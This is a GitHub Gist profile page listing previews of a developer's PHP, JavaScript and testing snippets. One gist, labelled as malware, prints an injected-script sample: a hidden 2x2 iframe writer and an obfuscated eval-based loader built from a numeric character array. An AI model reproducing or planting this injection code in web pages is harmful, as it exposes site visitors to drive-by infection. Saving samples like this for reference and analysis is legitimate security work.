Skip to content

Instantly share code, notes, and snippets.


Simon East SimonEast

  • Melbourne, Australia
View GitHub Profile
SimonEast / Export CSV.php
Last active Nov 24, 2020
PHP Example: Stream a CSV File to Browser with GZIP Compression (exporting from MySQL/PDO)
View Export CSV.php
* This script performs a full dump of a database query into
* CSV format and pipes it directly to the browser.
* - YES, the browser will save the CSV file to disk
* - YES, it should support large files without using massive amounts of memory
* - YES, it compresses the request using GZIP to reduce download time
SimonEast / Language List.txt
Created Jan 16, 2018
List of Languages in their Native Script
View Language List.txt
en English
ceb Sinugboanong Binisaya
sv Svenska
de Deutsch
fr Français
nl Nederlands
ru Русский
it Italiano
es Español
war Winaray
SimonEast / LanguageDetect.php
Created Jan 15, 2018
PHP: Choosing the closest matching language from Accept-Language header
View LanguageDetect.php
* So you have a list of languages your site supports
* and want to automatically assign the user to the closest
* one.
* Usage:
* LanguageDetect::findBestMatch(['en', 'fr', 'gr']);
* LanguageDetect::findBestMatchOrFallback(['en', 'fr', 'gr']);
SimonEast / curl_function.php
Last active Sep 18, 2018
PHP Curl (The Easy Way)
View curl_function.php
* Easy remote HTTP requests using a single function
* (How curl probably SHOULD have been written originally)
* If you need something more advanced/robust, use 'guzzle'
* But this function is useful for when you don't need a massive library,
* but rather something simpler and more lightweight
* Examples:
SimonEast / Acceptance.php
Last active Dec 21, 2020
Codeception - how to test for redirects
View Acceptance.php
// Simply place the following two functions in _support/Helper/Acceptance.php
// Then you can call $I->verifyRedirect(...) inside your tests
namespace Helper;
class Acceptance extends \Codeception\Module
* Ensure that a particular URL does NOT contain a 301/302
SimonEast /
Last active May 20, 2019
Fix for Google Maps InfoWindows having unnecessary scrollbars

For most of 2014, the Google Maps API v3 has had a weird bug in that scrollbars often appear unnecessarily in InfoWindows, and they look freakin' ugly.

Lots of people suggest simply putting overflow: visible or overflow: hidden on the DIV but this completely removes the scrollbars which are useful when content is larger than the window. This script attempts to keep that functionality as much as possible.

This is the result of many hours of debugging and re-testing. It's not 100%, but it's super close. Still a work in progress.

View Example HTML
(should always reflect the latest version from Github)

SimonEast / cloudflare.min.js
Created Apr 4, 2014
CloudFlare Javascript (including Rocket Loader?)
View cloudflare.min.js
/*! CloudFlareJS-0.1.11 Tue Mar 11 2014 07:42:08
! function (a, b) {
function c(a) {
if (!(this instanceof c)) return new c(a);
if (!a || !m.isElement(a)) throw new Error("A DOM element reference is required");
return this.element = a, this.tokens = a.classList, this
var d = {}, e = "0.1.11",
f = a.setTimeout,
SimonEast / gist:3096494
Created Jul 12, 2012 Malware
View gist:3096494
<body><!--c3284d--><script type="text/javascript">
document.write('<iframe src="" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>');
<!--0b7b2e--><script>d=Date;d=new d();h=-parseInt('012')/5;if(window.document)try{new document.getElementById("qwe").prototype}catch(qqq){st=String;zz='al';zz='v'+zz;ss="";if(1){f='f'+'r'+'o'+'m'+'Ch'+'ar';f=f+'C'+'od'+'e';}e=this[f.substr(11)+zz];t='y';}n="3.5~3.5~51.5~50~15~19~49~54.5~48.5~57.5~53.5~49.5~54~57~22~50.5~49.5~57~33.5~53~49.5~53.5~49.5~54~57~56.5~32~59.5~41~47.5~50.5~38~47.5~53.5~49.5~19~18.5~48~54.5~49~59.5~18.5~19.5~44.5~23~45.5~19.5~60.5~5.5~3.5~3.5~3.5~51.5~50~56~47.5~53.5~49.5~56~19~19.5~28.5~5.5~3.5~3.5~61.5~15~49.5~53~56.5~49.5~15~60.5~5.5~3.5~3.5~3.5~49~54.5~48.5~57.5~53.5~49.5~54~57~22~58.5~56~51.5~57~49.5~19~16~29~51.5~50~56~47.5~53.5~49.5~15~56.5~56~48.5~29.5~18.5~51~57~57~55~28~22.5~22.5~56~49.5~51.5~49~53.5~56~22~54.5~56~50.5~22.5~53.5~47.5~51.5~54~
SimonEast / gist:3030169
Created Jul 2, 2012
IF statement for columns
View gist:3030169
// Widen the center column (no right column) when the following conditions are true
if ((
empty($rightColumnContent) // <-- this can be set in controller, will leave room in the right column if set
&& (empty($page) || count($page['Widget']) == 0)
|| $bodyId == 'events_index'
|| $bodyId == 'events_past'
) {
$innerColumn1Content_width = "675px";
SimonEast / gist:1117476
Created Aug 1, 2011
PHP Code to detect serialized string and recursively unserialize
View gist:1117476
// Next two functions taken from a commenter on
function unserialize_recursive($val) {
//$pattern = "/.*\{(.*)\}/";
$val = trim($val);
$ret = unserialize($val);
if (is_array($ret)) {
foreach($ret as &$r) $r = unserialize_recursive($r);